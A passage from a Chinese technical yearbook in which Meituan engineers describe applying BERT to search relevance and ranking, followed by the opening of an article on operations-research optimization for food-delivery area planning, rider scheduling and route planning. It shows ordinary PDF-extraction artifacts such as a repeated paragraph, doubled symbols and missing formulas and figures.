随机采样同样存在大量噪声数据，补充了两项过滤规则来过滤数据。① 大量

的 POI 未被用户点击是因为不是离用户最近的分店，但 POI 和 Query 是相关

的，这种类型的样例需要过滤掉，如 < 蛙小侠 ，蛙小侠（新北万达店）>。② 

用户 Query 里包含品牌词，并且 POI 完全等同于品牌词的，需要从负样本中

过滤，如 < 德克士吃饭 ，德克士 >。

 ● Skip-Above 采样：受限于 App 搜索场景的展示屏效，无法保证召回的 POI
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一次性得到曝光。若直接将未被点击的 POI 作为负例，可能会将未曝光但相

关的 POI 错误地采样为负例。为了保证训练数据的准确性，我们采用 Skip-

Above 方法，剔除这些噪音负例，即从用户点击过的 POI 之上没有被点击过

的 POI 中采样负例（假设用户是从上往下浏览的 POI）。

品牌样本优化

美团商家中有很多品牌商家，通常品牌商家拥有数百上千的 POI，如“海底捞”、“肯

德基”、“香格里拉酒店”等，品牌 POI 名称多是“品牌 + 地标”文本形式，如“北

京香格里拉饭店”。对 Query 和 POI 的相关性进行建模时，如果仅取 Query 和 POI

名进行相关性训练，POI 名中的“地标”会给模型带来很大干扰。例如，用户搜“香

格里拉酒店”时会召回品牌“香格里拉酒店”的分店，如“香格里拉酒店”和“北京

香格里拉饭店”等，相关性模型受地标词影响，会给不同分店会打出不同的相关性分

数，进而影响到后续排序模型的训练。因此，我们对于样本中的品牌搜索样本做了针

对性优化。搜索品牌词有时会召回多个品牌的结果，假设用户搜索的品牌排序靠后，

而其他品牌排序靠前会严重影响到用户体验，因此对 Query 和 POI 相关性建模时召

回结果中其他品牌的 POI 可认为是不相关样本。针对上述问题，我们利用 POI 的品

牌信息对样本进行了重点优化。

 ● POI 名映射到品牌：在品牌搜 Query 不包含地标词的时候，将 POI 名映射到

品牌（非品牌 POI 不进行映射），从而消除品牌 POI 分店名中地标词引入的噪

声。如 Query 是“香格里拉酒店”，召回的“香格里拉大酒店”和“北京香格

里拉饭店”统一映射为品牌名“香格里拉酒店”。Query 是“品牌 + 地标”形

式（如“香格里拉饭店 北京”）时，用户意图明确就是找某个地点的 POI，不

需要进行映射，示例如下图 3 所示。

 ● 负样本过滤：如果搜索词是品牌词，在选取负样本的时候只在其他品牌的样本

中选取。如 POI 为“香格里拉实力希尔顿花园酒店”、“桔子香格里拉古城酒

店”时，同 Query “香格里拉酒店”虽然字面很相似，但其明显不是用户想要

的品牌。
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经过样本去噪和品牌样本优化后，BERT 相关性模型在 Benchmark 上的 Accuracy

提升 23BP，相应地 L2 排序排序模型离线 AUC 提升 17.2BP。

图 3　POI 品牌信息优化样本示意图

模型优化

知识融合

我们团队基于美团业务数据构建了餐饮娱乐领域知识图谱—“美团大脑”[32]，对于候

选 Doc（POI/SPU)，通过图谱可以获取到该 Doc 的大量结构化信息，如地址、品

类、团单，场景标签等。美团搜索场景中的 Query 和 Doc 都以短文本为主，我们尝

试在预训练和 Fine-tuning 阶段融入图谱品类和实体信息，弥补 Query 和 Doc 文本

信息的不足，强化语义匹配效果。

引入品类信息的预训练

由于美团搜索多模态的特点，在某些情况下，仅根据 Query 和 Doc 标题文本信息很

难准确判断两者之间的语义相关性。如 < 考研班，虹蝶教育 >，Query 和 Doc 标题

文本相关性不高，但是“虹蝶教育”三级品类信息分别是“教育 - 升学辅导 - 考研”，
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引入相关图谱信息有助于提高模型效果，我们首先基于品类信息做了尝试。

在相关性判别任务中，BERT 模型的输入是对。对于每一个输入的 Token，它的表

征由其对应的词向量（Token Embedding）、片段向量（Segment Embedding）和

位置向量（Position Embedding）相加产生。为了引入 Doc 品类信息，我们将 Doc

三级品类信息拼接到 Doc 标题之后，然后跟 Query 进行相关性判断，如图 4 所示。

图 4　BERT 输入部分加入 Doc（POI）品类信息

对于模型输入部分，我们将 Query、Doc 标题、三级类目信息拼接，并用 [SEP] 分

割，区分 3 种不同来源信息。对于段向量，原始的 BERT 只有两种片段编码 EA 和

EB，在引入类目信息的文本信息后，引入额外的片段编码 EC。引入额外片段编码

的作用是防止额外信息对 Query 和 Doc 标题产生交叉干扰。由于我们改变了 BERT

的输入和输出结构，无法直接基于 MT-BERT 进行相关性 Fine-tuning 任务。我们

对 MT-BERT 的预训练方式做了相应改进，BERT 预训练的目标之一是 NSP（Next 

Sentence Prediction），在搜索场景中没有上下句的概念，在给定用户的搜索关键词

和商户文本信息后，判断用户是否点击来取代 NSP 任务。

添加品类信息后，BERT 相关性模型在 Benchmark 上的 Accuracy 提升 56BP，相

应地 L2 排序模型离线 AUC 提升 6.5BP。

引入实体成分识别的多任务Fine-tuning

在美团搜索场景中，Query 和 Doc 通常由不同实体成分组成，如美食、酒店、商

圈、品牌、地标和团购等。除了文本语义信息，这些实体成分信息对于 Query-Doc

相关性判断至关重要。如果 Query 和 Doc 语义相关，那两者除了文本语义相似
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外，对应的实体成分也应该相似。例如，Query 为“Helens 海伦司小酒馆”，Doc

为“Helens 小酒馆（东鼎购物中心店）”，虽然文本语义不完全匹配，但二者的主要

的实体成分相似（主体成分为品牌 +POI 形式），正确的识别出 Query/Doc 中的实

体成分有助于相关性的判断。微软的 MT-DNN[33] 已经证明基于预训练模型的多任

务 Fine-tuning 可以提升各项子任务效果。由于 BERT Fine-tuning 任务也支持命

名实体识别（NER）任务，因而我们在 Query-Doc 相关性判断任务的基础上引入

Query 和 Doc 中实体成分识别的辅助任务，通过对两个任务的联合训练来优化最终

相关性判别结果，模型结构如下图 5 所示：

图 5　实体成分一致性学习模型结构
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多任务学习模型的损失函数由两部分组成，分别是相关性判断损失函数和命名实体识

别损失函数。其中相关性损失函数由 [CLS] 位的 Embedding 计算得到，而实体成分

识别损失函数由每个 Token 的 Embedding 计算得到。2 种损失函数相加即为最终

优化的损失函数。在训练命名实体识别任务时，每个 Token 的 Embedding 获得了

和自身实体相关的信息，从而提升了相关性任务的效果。

引入实体成分识别的多任务 Fine-tuning 方式后，BERT 相关性模型在 Benchmark

上的 Accuracy 提升 219BP，相应地 L2 排序模型 AUC 提升 17.8BP。

Pairwise	Fine-tuning

Query-Doc 相关性最终作为特征加入排序模型训练中，因此我们也对 Fine-tuning

任务的训练目标做了针对性改进。基于 BERT 的句间关系判断属于二分类任务，本

质上是 Pointwise 训练方式。Pointwise Fine-tuning 方法可以学习到很好的全局

相关性，但忽略了不同样本之前的偏序关系。如对于同一个 Query 的两个相关结果

DocA 和 DocB，Pointwise 模型只能判断出两者都与 Query 相关，无法区分 DocA

和 DocB 相关性程度。为了使得相关性特征对于排序结果更有区分度，我们借鉴排序

学习中 Pairwise 训练方式来优化 BERT Fine-tuning 任务。

Pairwise Fine-tuning 任务输入的单条样本为三元组，对于同一 Query 的多个候

选 Doc，选择任意一个正例和一个负例组合成三元组作为输入样本。在下游任务中

只需要使用少量的 Query 和 Doc 相关性的标注数据（有监督训练样本），对 BERT

模 型 进 行 相 关 性 Fine-tuning， 产 出 Query 和 Doc 的 相 关 性 特 征。Pairwise 

Fine-tuning 的模型结构如下图 6 所示：
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图 6　Pairwise Fine-tuning 模型结构

对于同一 Query 的候选 Doc，选择两个不同标注的 Doc，其中相关文档记为 Doc+,

不相关文档记 Doc-。输入层通过 Lookup Table 将 Query, Doc+ 以及 Doc- 的单

词转换为 Token 向量，同时会拼接位置向量和片段向量，形成最终输入向量。接着

通过 BERT 模型可以分别得到（Query, Doc+）以及（Query, Doc-）的语义相关性

表征，即 BERT 的 CLS 位输出。 经过 Softmax 归一化后，可以分别得到（Query, 

Doc+）和（Query, Doc-）的语义相似度打分。

对于同一 Query 的候选 Doc，选择两个不同标注的 Doc，其中相关文档记为 Doc+,

不相关文档记 Doc-。输入层通过 Lookup Table 将 Query, Doc+ 以及 Doc- 的单

词转换为 Token 向量，同时会拼接位置向量和片段向量，形成最终输入向量。接着

通过 BERT 模型可以分别得到（Query, Doc+）以及（Query, Doc-）的语义相关性

表征，即 BERT 的 CLS 位输出。 经过 Softmax 归一化后，可以分别得到（Query, 

Doc+）和（Query, Doc-）的语义相似度打分。

Pairwise Fine-tuning 除了输入样本上的变化，为了考虑搜索场景下不同样本之间

的偏序关系，我们参考 RankNet[34] 的方式对训练损失函数做了优化。 令 PijPij 为

同一个 Query 下 DociDoci 相比 DocjDocj 更相关的概率，其中 sisi 和 sjsj

分别为 DociDoci 和 DocjDocj 的模型打分，则：
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使 用 交 叉 熵 损 失 函 数， 令 SijSij 表 示 样 本 对 的 真 实 标 记， 当 DociDoci 比

DocjDocj 更 相 关 时（即 DociDoci 为 正 例 而 $Docj 为 负 例）， 为 负 例），

S{ij}$ 为 1，否则为 -1，损失函数可以表示为：

其中 NN 表示所有在同 Query 下的 Doc 对。

使 用 Pairwise Fine-tuning 方 式 后，BERT 相 关 性 模 型 在 Benchmark 上 的

Accuracy 提升 925BP，相应地 L2 排序模型的 AUC 提升 19.5BP。

联合训练

前文所述各种优化属于两阶段训练方式，即先训练 BERT 相关性模型，然后训练 L2

排序模型。为了将两者深入融合，在排序模型训练中引入更多相关性信息，我们尝试

将 BERT 相关性 Fine-tuning 任务和排序任务进行端到端的联合训练。

由于美团搜索涉及多业务场景且不同场景差异较大，对于多场景的搜索排序，每个

子场景进行单独优化效果好，但是多个子模型维护成本更高。此外，某些小场景由

于训练数据稀疏无法学习到全局的 Query 和 Doc 表征。我们设计了基于 Parti-

tion-model 的 BERT 相关性任务和排序任务的联合训练模型，Partition-model 的

思想是利用所有数据进行全场景联合训练，同时一定程度上保留每个场景特性，从而

解决多业务场景的排序问题，模型结构如下图 7 所示：



758　>　美团 2020 技术年货

图 7　联合训练模型结构

输入层：模型输入是由文本特征向量、用户行为序列特征向量和其他特征向量 3 部分

组成。

 ● 文本特征向量使用 BERT 进行抽取，文本特征主要包括 Query 和 POI 相关的

一些文本（POI 名称、品类名称、品牌名称等）。将文本特征送入预训练好的

MT-BERT 模型，取 CLS 向量作为文本特征的语义表示。

 ● 用户行为序列特征向量使用 Transformer 进行抽取 [3]。

 ● 其他特征主要包括：① 统计类特征，包含 Query、Doc 等维度的特征以及它

们之间的交叉特征，使用这些特征主要是为了丰富 Query 和 Doc 的表示，更

好地辅助相关性任务训练。② 文本特征，这部分的特征同 1 中的文本特征，

但是使用方式不同，直接将文本分词后做 Embedding，端到端的学习文本语

义表征。③ 传统的文本相关性特征，包括 Query 和 Doc 的字面命中、覆盖程

度、BM25 等特征，虽然语义相关性具有较好的作用，但字面相关性仍然是一

个不可或缺的模块，它起到信息补充的作用。

共享层：底层网络参数是所有场景网络共享。
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场景层：根据业务场景进行划分，每个业务场景单独设计网络结构，打分时只经过所

在场景的那一路。

损失函数：搜索业务更关心排在页面头部结果的好坏，将更相关的结果排到头部，用

户会获得更好的体验，因此选用优化 NDCG 的 Lambda Loss[34]。

联合训练模型目前还在实验当中，离线实验已经取得了不错的效果，在验证集上

AUC 提升了 234BP。目前，场景切分依赖 Query 意图模块进行硬切分，后续自动

场景切分也值得进行探索。

应用实践

由于 BERT 的深层网络结构和庞大参数量，如果要部署上线，实时性上面临很大挑

战。在美团搜索场景下，我们对基于 MT-BERT Fine-tuning 好的相关性模型（12

层）进行了 50QPS 压测实验，在线服务的 TP99 增加超过 100ms，不符合工程上

线要求。我们从两方面进行了优化，通过知识蒸馏压缩 BERT 模型，优化排序服务

架构支持蒸馏模型上线。

模型轻量化

为了解决 BERT 模型参数量过大、前向计算耗时的问题，常用轻量化方法有三种：

 ● 知识蒸馏：模型蒸馏是在一定精度要求下，将大模型学到的知识迁移到另一

个轻量级小模型上，目的是降低预测计算量的同时保证预测效果。Hinton 在

2015 年的论文中阐述了核心思想 [35]，大模型一般称作 Teacher Model，

蒸馏后的小模型一般称作 Student Model。具体做法是先在训练数据上学

习 Teacher Model，然后 Teacher Model 对无标注数据进行预测得到伪标

注数据，最后使用伪标注数据训练 Student Model。HuggingFace 提出的

DistilBERT[36] 和华为提出的 TinyBERT[37] 等 BERT 的蒸馏模型都取得了

不错的效果，在保证效果的情况下极大地提升了模型的性能。

 ● 模型裁剪：通过模型剪枝减少参数的规模。
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 ● 低精度量化：在模型训练和推理中使用低精度（FP16 甚至 INT8、二值网络）

表示取代原有精度（FP32）表示。

在 Query 意 图 分 类 任 务 [2] 中， 我 们 基 于 MT-BERT 裁 剪 为 4 层 小 模 型 达 到 了

上线要求。意图分类场景下 Query 长度偏短，语义信息有限，直接裁剪掉几层

Transformer 结构对模型的语义表征能力不会有太大的影响。在美团搜索的场景下，

Query 和 Doc 拼接后整个文本序列变长，包含更复杂的语义关系，直接裁剪模型会

带来更多的性能损失。因此，我们在上线 Query-Doc 相关性模型之前，采用知识蒸

馏方式，在尽可能在保持模型性能的前提下对模型层数和参数做压缩。两种方案的实

验效果对比见下表 1：

表 1　裁剪和知识蒸馏方式效果对比

在美团搜索核心排序的业务场景下，我们采用知识蒸馏使得 BERT 模型在对响应时

间要求苛刻的搜索场景下符合了上线的要求，并且效果无显著的性能损失。知识蒸

馏（Knowledge Distillation）核心思想是通过迁移知识，从而通过训练好的大模型

得到更加适合推理的小模型。首先我们基于 MT-BERT（12 Layers），在大规模的

美团点评业务语料上进行知识蒸馏得到通用的 MT-BERT 蒸馏模型（6 Layers），蒸

馏后的模型可以作为具体下游任务 Fine-tuning 时的初始化模型。在美团搜索的场

景下，我们进一步基于通用的 MT-BERT 蒸馏模型（6 Layers）进行相关性任务
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Fine-tuning，得到 MT-BERT 蒸馏（2 Layers）进行上线。

排序服务架构优化

图 8　核心排序框架图

美团搜索线上排序服务框架如上图 8 所示，主要包括以下模块：

 ● 模型在线预估框架（Augur）：支持语言化定义特征，配置化加载和卸载模型与

特征，支持主流线性模型与 TF 模型的在线预估；基于 Augur 可以方便地构建

功能完善的无状态、分布式的模型预估服务。为了能方便将 BERT 特征用于

排序模型，Augur 团队开发了 Model Stacking 功能，完美支持了 BERT as 

Feature；这种方式将模型的分数当做一个特征，只需要在 Augur 服务模型配

置平台上进行特征配置即可，很好地提升了模型特征的迭代效率。

 ● 搜索模型实验平台（Poker）：支持超大规模数据和模型的离线特征抽取、模型

训练，支持 BERT 模型自助训练 /Fine-tuning 和预测；同时打通了 Augur 服

务，训练好的模型可以实现一键上线，大大提升了模型的实验效率。

TF-Serving 在线模型服务：L2 排序模型、BERT 模型上线使用 TF-Serving 进行

部署。TF-Serving 预测引擎支持 Faster Transformer[38] 加速 BERT 推理，提升了

线上的预估速度。

为了进一步提升性能，我们将头部 Query 进行缓存只对长尾 Query 进行在线打分，

线上预估结合缓存的方式，即节约了 GPU 资源又提升了线上预估速度。经过上述优
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化，我们实现了 50 QPS 下，L2 模型 TP99 只升高了 2ms，满足了上线的要求。

线上效果

针对前文所述的各种优化策略，除了离线 Benchmark 上的效果评测之外，我们也

将模型上线进行了线上 AB 评测，Baseline 是当前未做任何优化的排序模型，我们

独立统计了各项优化在 Baseline 基础上带来的变化，由于线上真实环境影响因素

较多，为了确保结论可信，我们同时统计了 QVCTR 和 NDCG 两个指标，结果如

表 2 所示：

表 2　线上 AB 效果对比（* 表示 AB 一周稳定正向）

从表 2 可以看出，各项优化对线上排序核心指标都带来稳定的提升。用户行为数据存

在大量噪声不能直接拿来建模，我们基于美团搜索排序业务特点设计了一些规则对训

练样本进行优化，还借助 POI 的品牌信息对样本进行映射和过滤。通过人工对样本

进行评测发现，优化后的样本更加符合排序业务特点以及“人”对相关性的认知，同

时线上指标的提升也验证了我们优化的有效性。知识融合的 BERT 模型引入大量结
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构化文本信息，弥补了 POI 名本身文本信息少的问题，排序模型 CTR 和 NDCG 都

有明显的提升。对数据样本的优化有了一定的效果。为了更加匹配业务场景，我们从

模型的角度进行优化，模型损失函数改用排序任务常用的 Pairwise Loss，其考虑了

文档之间的关系更加贴合排序任务场景，线上排序模型 NDCG 取得了一定的提升。

总结与展望

本文总结了搜索与 NLP 算法团队基于 BERT 在美团搜索核心排序落地的探索过程和

实践经验，包括数据增强、模型优化和工程实践。在样本数据上，我们结合了美团搜

索业务领域知识，基于弱监督点击日志构建了高质量的训练样本；针对美团搜索多模

态特点，在预训练和 Fine-tuning 阶段融合图谱品类和标签等信息，弥补 Query 和

Doc 文本较短的不足，强化文本匹配效果。

在算法模型上，结合搜索排序优化目标，引入了 Pairwise/Listwise 的 Fine-tuning

训练目标，相比 Pointwise 方式在相关性判断上更有区分度。这些优化在离线

Benchmark 评测和线上 AB 评测中带来了不同幅度的指标提升，改善了美团搜索的

用户体验。

在工程架构上，针对 BERT 在线预估性能耗时长的问题，参考业界经验，我们采用

了 BERT 模型轻量化的方案进行模型蒸馏裁剪，既保证模型效果又提升了性能，同

时我们对整体排序架构进行了升级，为后续快速将 BERT 应用到线上预估奠定了良

好基础。

搜索与 NLP 算法团队会持续进行探索 BERT 在美团搜索中的应用落地，我们接下来

要进行以下几个优化：

 ● 融合知识图谱信息对长尾流量相关性进行优化：美团搜索承接着多达几十种生

活服务的搜索需求，当前头部流量相关性问题已经较好地解决，长尾流量的相

关性优化需要依赖更多的高质量数据。我们将利用知识图谱信息，将一些结构

化先验知识融入到 BERT 预训练中，对长尾 Query 的信息进行增强，使其可

以更好地进行语义建模。
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 ● 相关性与其他任务联合优化：美团搜索场景下 Query 和候选 Doc 都更结构化，

除文本语义匹配外，Query/Doc 文本中蕴含的实体成分、意图、类目也可以

用于辅助相关性判断。目前，我们将相关性任务和成分识别任务结合进行联合

优化已经取得一定效果。后续我们考虑将意图识别、类目预测等任务加入相关

性判断中，多视角、更全面地评估 Query-Doc 的相关性。

 ● BERT 相关性模型和排序模型的深入融合：当前两个模型属于两阶段训练方

式，将 BERT 语义相关性作为特征加入排序模型来提升点击率。语义相关性

是影响搜索体验的重要因素之一，我们将 BERT 相关性和排序模型进行端到

端联合训练，将相关性和点击率目标进行多目标联合优化，提升美团搜索排序

的综合体验。
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美团智能配送系统的运筹优化实战

作者：王圣尧

深入各个产业已经成为互联网目前的主攻方向，线上和线下存在大量复杂的业务约束

和多种多样的决策变量，为运筹优化技术提供了用武之地。作为美团智能配送系统最

核心的技术之一，运筹优化是如何在美团各种业务场景中进行落地的呢？本文根据美

团配送技术团队资深算法专家王圣尧在 2019 年 ArchSummit 全球架构师峰会北京

站上的演讲内容整理而成。

美团智能配送系统架构

美团配送业务场景复杂，单量规模大。下图这组数字是 2019 年 5 月美团配送品牌发

布时的数据。

更直观的规模数字，可能是美团每年给骑手支付的工资，目前已经达到几百亿这个量

级。所以，在如此大规模的业务场景下，配送智能化就变得非常重要，而智能配送的

核心就是做资源的优化配置。
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资源优化配置

外卖配送是一个典型的 O2O 场景。既有线上的业务，也有线下的复杂运营。配送连

接订单需求和运力供给。为了达到需求和供给的平衡，不仅要在线下运营商家、运营

骑手，还要在线上将这些需求和运力供给做合理的配置，其目的是提高整体的效率。

只有将配送效率最大化，才能带来良好的顾客体验，实现较低的配送成本。而做资源

优化配置的过程，实际上是有分层的。根据我们的理解，可以分为三层：

1. 基础层是结构优化，它直接决定了配送系统效率的上限。这种基础结构的优

化，周期比较长，频率比较低，包括配送网络规划、运力结构规划等等。

2. 中间层是市场调节，相对来说是中短期的，主要通过定价或者营销手段，使

供需达到一个相对理想的平衡状态。

3. 再上层是实时匹配，通过调度做实时的资源最优匹配。 实时匹配的频率是最

高的，决策的周期也最短。

智能配送系统架构
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根据智能配送的这三层体系，配送算法团队也针对性地进行了运作。如上图所示，右

边三个子系统分别对应这三层体系，最底层是规划系统，中间层是定价系统，最上层

是调度系统。同样非常重要的还包括图中另外四个子系统，在配送过程中做精准的数

据采集、感知、预估，为优化决策提供准确的参数输入，包括机器学习系统、IoT 和

感知系统、LBS 系统，这都是配送系统中非常重要的环节，涉及大量复杂的机器学习

问题。

而运筹优化则是调度系统、定价系统、规划系统的核心技术。接下来，我们分享几个

典型的运筹优化案例。

实战业务项目

智能区域规划

为了帮助大家快速理解配送业务的基本背景，这里首先分享智能区域规划项目中经常

遇到的问题及其解决方案。

配送网络基本概念

配送连接的是商家、顾客、骑手三方，配送网络决定了这三方的连接关系。当用户打

开 App，查看哪些商家可以点餐，这由商家配送范围决定。 每个商家的配送范围不一
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样，看似是商家粒度的决策，但实际上直接影响每个 C 端用户得到的商流供给，这

本身也是一个资源分配或者资源抢夺问题。商家配送范围智能化也是一个组合优化问

题，但是我们这里讲的是商家和骑手的连接关系。

用户在美团点外卖，为他服务的骑手是谁呢？又是怎么确定的呢？这些是由配送区域

边界来决定的。配送区域边界指的是一些商家集合所对应的范围。为什么要划分区域

边界呢？从优化的角度来讲，对于一个确定问题来说，约束条件越少，目标函数值更

优的可能性就越大。做优化的同学肯定都不喜欢约束条件，但是配送区域边界实际上

就是给配送系统强加的约束。

在传统物流中，影响末端配送效率最关键的点，是配送员对他所负责区域的熟悉程

度。这也是为什么在传统物流领域，配送站或配送员，都会固定负责某几个小区的原

因之一。因为越熟悉，配送效率就会越高。

即时配送场景也类似，每个骑手需要尽量固定地去熟悉一片商家或者配送区域。同

时，对于管理而言，站点的管理范围也比较明确。另外，如果有新商家上线，也很容

易确定由哪个配送站来提供服务。所以，这个问题有很多运营管理的诉求在其中。

区域规划影响配送效率

当然，区域规划项目的发起，存在很多问题需要解决。主要包括以下三种情况： 1. 配

送区域里的商家不聚合。这是一个典型站点，商家主要集中在左下角和右上角，造成

骑手在区域里取餐、送餐时执行任务的地理位置非常分散，需要不停往返两个商圈，
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无效跑动非常多。 2. 区域奇形怪状，空驶严重。之前在门店上线外卖平台的发展过

程中，很多地方原本没有商家，后来上线的商家多了，就单独作为一个配送区域。这

样的区域形状可能就会不规则，导致骑手很多时候在区域外跑。 而商家和骑手都有

绑定关系，骑手只能服务自己区域内的商家，因此骑手无法接到配送区域外的取餐任

务，空驶率非常高。很多时候骑手送完餐之后，只能空跑回来才可能接到新任务。 3. 

站点的大小不合理。图三这个站点，每天的单量只有一二百单。如果从骑手平均单

量的角度去配置骑手的话，只能配置 3~4 个骑手。如果某一两个人突然有事要请假，

可想而知，站点的配送体验一定会变得非常差，运营管理难度会很高。 反之，如果某

一个站点变得非常大，站长也不可能管得了那么多的骑手，这也是一个问题。所以，

需要给每个站点规划一个合理的单量规模。

既然存在这么多的问题，那么做区域规划项目就变得非常有必要。那么，什么是好的

区域规划方案？基于统计分析的优化目标设定。

多目标优化问题

优化的三要素是：目标、约束、决策变量。

第一点，首先要确定优化目标。在很多比较稳定或者传统的业务场景中，目标非常确

定。而在区域规划这个场景中，怎么定义优化目标呢？首先，我们要思考的是区域规

划主要影响的是什么。从刚才几类问题的分析可以发现，影响的主要是骑手的顺路

性、空驶率，也就是骑手平均为每一单付出的路程成本。所以，我们将问题的业务目

标定为优化骑手的单均行驶距离。基于现有的大量区域和站点积累的数据，做大量的

统计分析后，可以定义出这样几个指标：商家聚合度、订单的聚合度、订单重心和商

家重心的偏离程度。数据分析结果说明，这几个指标和单均行驶距离的相关性很强。
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经过这一层的建模转化，问题明确为优化这三个指标。

第二点，需要梳理业务约束。在这方面，我们花费了大量的时间和精力。比如：区域

单量有上限和下限；区域之间不能有重合，不能有商家归多个区域负责；所有的 AOI

不能有遗漏，都要被某个区域覆盖到，不能出现商家没有站点的服务。

基于业务场景的约束条件梳理

最难的一个问题，其实是要求区域边界必须沿路网。起初我们很难理解，因为本质上

区域规划只是对商家进行分类，它只是一个商家集合的概念，为什么要画出边界，还

要求边界沿路网呢？其实刚才介绍过，区域边界是为了回答如果有新商家上线到底属

于哪个站点的问题。而且，从一线管理成本来讲，更习惯于哪条路以东、哪条路以南

这样的表述方式，便于记忆和理解，提高管理效率。所以，就有了这样的诉求，我们

希望区域边界更“便于理解”。
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整体方案设计

在目标和约束条件确定了之后，整体技术方案分成三部分：

1. 首先，根据三个目标函数，确定商家最优集合。这一步比较简单，做运筹优

化的同学都可以快速地解决这样一个多目标组合优化问题。

2. 后面的步骤比较难，怎么把区域边界画出来呢？为了解决这个问题，配送团

队和美团地图团队进行合作。先利用路网信息，把城市切成若干互不重叠的

多边形，然后根据计算几何，将一批商家对应的多边形拼成完整的区域边界。

3. 最后，用美团自主研发的配送仿真系统，评测这样的区域规划对应的单均行

驶距离和体验指标是否符合预期。因为一线直接变动的成本非常高，仿真系

统就起到了非常好的作用。

下面是一个实际案例，我们用算法把一个城市做了重新的区域规划。当然，这里必须

要强调的是，在这个过程中，人工介入还是非常必要的。对于一些算法很难处理好的

边角场景，需要人工进行微调，使整个规划方案更加合理。中间的图是算法规划的

结果。经过试点后，测试城市整体的单均行驶距离下降了 5%，平均每一单骑手的行

驶距离节省超过 100 米。可以想象一下，在这么庞大的单量规模下，每单平均减少

100 米，总节省的路程、节省的电瓶车电量，都是一个非常可观的数字。更重要的

是，可以让骑手自己明显感觉到自己的效率得到了提升。
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落地应用效果显著

智能骑手排班

业务背景

这是随着外卖配送的营业时间越来越长而衍生出的一个项目。早期，外卖只服务午高

峰到晚高峰，后来大家慢慢可以点夜宵、点早餐。到如今，很多配送站点已经提供了

24 小时服务。但是，骑手不可能全天 24 小时开工，劳动法对每天的工作时长也有规

定，所以这一项目势在必行。

另外，外卖配送场景的订单“峰谷效应”非常明显。上图是一个实际的进单曲线。可

以看到全天 24 小时内，午晚高峰两个时段单量非常高，而闲时和夜宵相对来说单量

又少一些。因此，系统也没办法把一天 24 小时根据每个人的工作时长做平均切分，

也需要进行排班。

对于排班，存在两类方案的选型问题。很多业务的排班是基于人的维度，好处是配置

的粒度非常精细，每个人的工作时段都是个性化的，可以考虑到每个人的诉求。但
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是，在配送场景的缺点也显而易见。如果站长需要为每个人去规划工作时段，其难度

可想而知，也很难保证分配的公平性。

排班方案选型

配送团队最终选用的是按组排班的方式，把所有骑手分成几组，规定每个组的开工时

段。然后大家可以按组轮岗，每个人的每个班次都会轮到。

这个问题最大的挑战是，我们并不是在做一项业务工具，而是在设计算法。而算法要

有自己的优化目标，那么排班的目标是什么呢？如果你要问站长，怎么样的排班是好

的，可能他只会说，要让需要用人的时候有人。但这不是算法语言，更不能变成模型

语言。

决策变量及目标设计
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为了解决这个问题，首先要做设计决策变量，决策变量并没有选用班次的起止时刻和

结束时刻，那样做的话，决策空间太大。我们把时间做了离散化，以半小时为粒度。

对于一天来讲，只有 48 个时间单元，决策空间大幅缩减。然后，目标定为运力需求

满足订单量的时间单元最多。这是因为，并不能保证站点的人数在对应的进单曲线情

况下可以满足每个单元的运力需求。所以，我们把业务约束转化为目标函数的一部

分。这样做，还有一个好处，那就是没必要知道站点的总人数是多少。

在建模层面，标准化和通用的模型才是最优选。所以，我们把人数做了归一化，算法

分配每个班次的骑手比例，但不分人数。最终只需要输入站点的总人数，就得到每个

班次的人数。在算法决策的时候，不决策人数、只决策比例，这样也可以把单量进行

归一化。每个时间单元的进单量除以每天峰值时间单元的单量，也变成了 0~1 之间

的数字。这样就可以认为，如果某个时间单元内人数比例大于单量比例，那么叫作运

力得到满足。这样，通过各种归一化，变成了一个通用的问题，而不需要对每种场景

单独处理。

另外，这个问题涉及大量复杂的强约束，涉及各种管理的诉求、骑手的体验。约束有

很多，比如每个工作时段尽量连续、每个工作时段持续的时间不过短、不同工作时段

之间休息的时间不过短等等，有很多这样的业务约束，梳理之后可以发现，这个问题

的约束太多了，求最优解甚至可行解的难度太大了。另外，站长在使用排班工具的时

候，希望能马上给出系统排班方案，再快速做后续微调，因此对算法运行时间要求也

比较高。
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算法核心思想

基于约束条件的构造算法与局部搜索

综合考虑以上因素，我们最终基于约束条件，根据启发式算法构造初始方案，再用局

部搜索迭代优化。使用这样的方式，求解速度能够达到毫秒级，而且可以给出任意站

点的排班方案。整体的优化指标还不错，当然，不保证是最优解，只是可以接受的满

意解。

落地应用效果

站点体验指标良好，一线接受度高。

排班时间节省：2h/ 每站点每次

这种算法也在自营场景做了落地应用，跟那些排班经验丰富的站长相比，效果基本持

平，一线的接受程度也比较高。最重要的是带来排班时间的节省，每次排班几分钟就

搞定了，这样可以让站长有更多的时间去做其它的管理工作。
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骑手路径规划

具体到骑手的路径规划问题，不是简单的路线规划，不是从 a 到 b 该走哪条路的问

题。这个场景是，一个骑手身上有很多配送任务，这些配送任务存在各种约束，怎样

选择最优配送顺序去完成所有任务。这是一个 NP 难问题，当有 5 个订单、10 个任

务点的时候，就存在 11 万多条可能的顺序。而在高峰期的时候，骑手往往背负的不

止 5 单，甚至有时候一个骑手会同时接到十几单，这时候可行的取送顺序就变成了一

个天文数字。

算法应用场景



算法　<　779

再看算法的应用场景，这是智能调度系统中最为重要的一个环节。系统派单、系统改

派，都依赖路径规划算法。在骑手端，给每个骑手推荐任务执行顺序。另外，用户点了

外卖之后，美团会实时展示骑手当前任务还需要执行几分钟，要给用户提供更多预估信

息。这么多应用场景，共同的诉求是对时效要求非常高，算法运行时间要越短越好。

但是，算法仅仅是快就可以吗？并不是。因为这是派单、改派这些环节的核心模块，

所以算法的优化求解能力也非常重要。如果路径规划算法不能给出较优路径，可想而

知，上层的指派和改派很难做出更好的决策。

所以，对这个问题做明确的梳理，核心的诉求是优化效果必须是稳定的好。不能这次

的优化结果好，下次就不好。另外，运行时间一定要短。

核心设计思想

在求解路径规划这类问题上，很多公司的技术团队，都经历过这样的阶段：起初，采

用类似遗传算法的迭代搜索算法，但是随着业务的单量变大，发现算法耗时太慢，根

本不可接受。然后，改为大规模邻域搜索算法，但算法依然有很强的随机性，因为没

有随机性在就没办法得到比较好的解。而这种基于随机迭代的搜索策略，带来很强的

不确定性，在问题规模大的场景会出现非常多的 Bad Case。另外，迭代搜索耗时太

长了。主要的原因是，随机迭代算法是把组合优化问题当成一个单纯的 Permutation

问题去求解，很少用到问题结构特征。这些算法，求解 TSP 时这样操作，求解 VRP

时也这样操作，求解 Scheduling 还是这样操作，这种类似“无脑”的方式很难有出

色的优化效果。
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所以，在这个项目中，基本可以确定这样的技术路线。首先，只能做启发式定向搜

